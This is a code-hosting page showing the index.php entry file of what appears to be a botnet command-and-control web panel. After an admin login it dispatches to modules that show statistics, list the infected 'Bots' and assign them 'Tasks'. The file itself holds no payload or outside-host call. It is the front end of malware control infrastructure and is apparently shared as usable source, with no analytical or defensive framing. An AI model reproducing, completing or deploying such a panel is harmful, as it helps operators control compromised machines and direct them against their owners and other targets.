-
Notifications
You must be signed in to change notification settings - Fork 3
/
index.php
36 lines (29 loc) · 1.11 KB
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
include("_bot/run.php");
$_BOTI->tpl = file_get_contents("_bot/design.tpl");
if(!$_SESSION['loggedin'] || $_SESSION['admin_password'] != $_BOTI->admin_password) {
include("_bot/func/login.php");
$_BOTI->func = new BOTI_func_login;
$_BOTI->func->run();
echo str_replace(array('{content}', '{navigation}'), array($_BOTI->func->content, 'Please login'), $_BOTI->tpl);
die();
}
include("_bot/func/statisics.php");
include("_bot/func/list.php");
include("_bot/func/tasks.php");
include("_bot/func/logout.php");
$navigation = array(
'Statistics'=>'?action=statistics',
'Bots'=>'?action=list',
'Tasks'=>'?action=tasks',
'Logout'=>'?action=logout',
);
$nav = '';
foreach($navigation as $name=>$link) $nav .= '<a href="'.$link.'">'.$name.'</a>';
if($_GET['action'] == "tasks") $_BOTI->func = new BOTI_func_tasks;
elseif($_GET['action'] == "list") $_BOTI->func = new BOTI_func_list;
elseif($_GET['action'] == "logout") $_BOTI->func = new BOTI_func_logout;
else $_BOTI->func = new BOTI_func_statistics;
$_BOTI->func->run();
echo str_replace(array('{content}', '{navigation}'), array($_BOTI->func->content, $nav), $_BOTI->tpl);
?>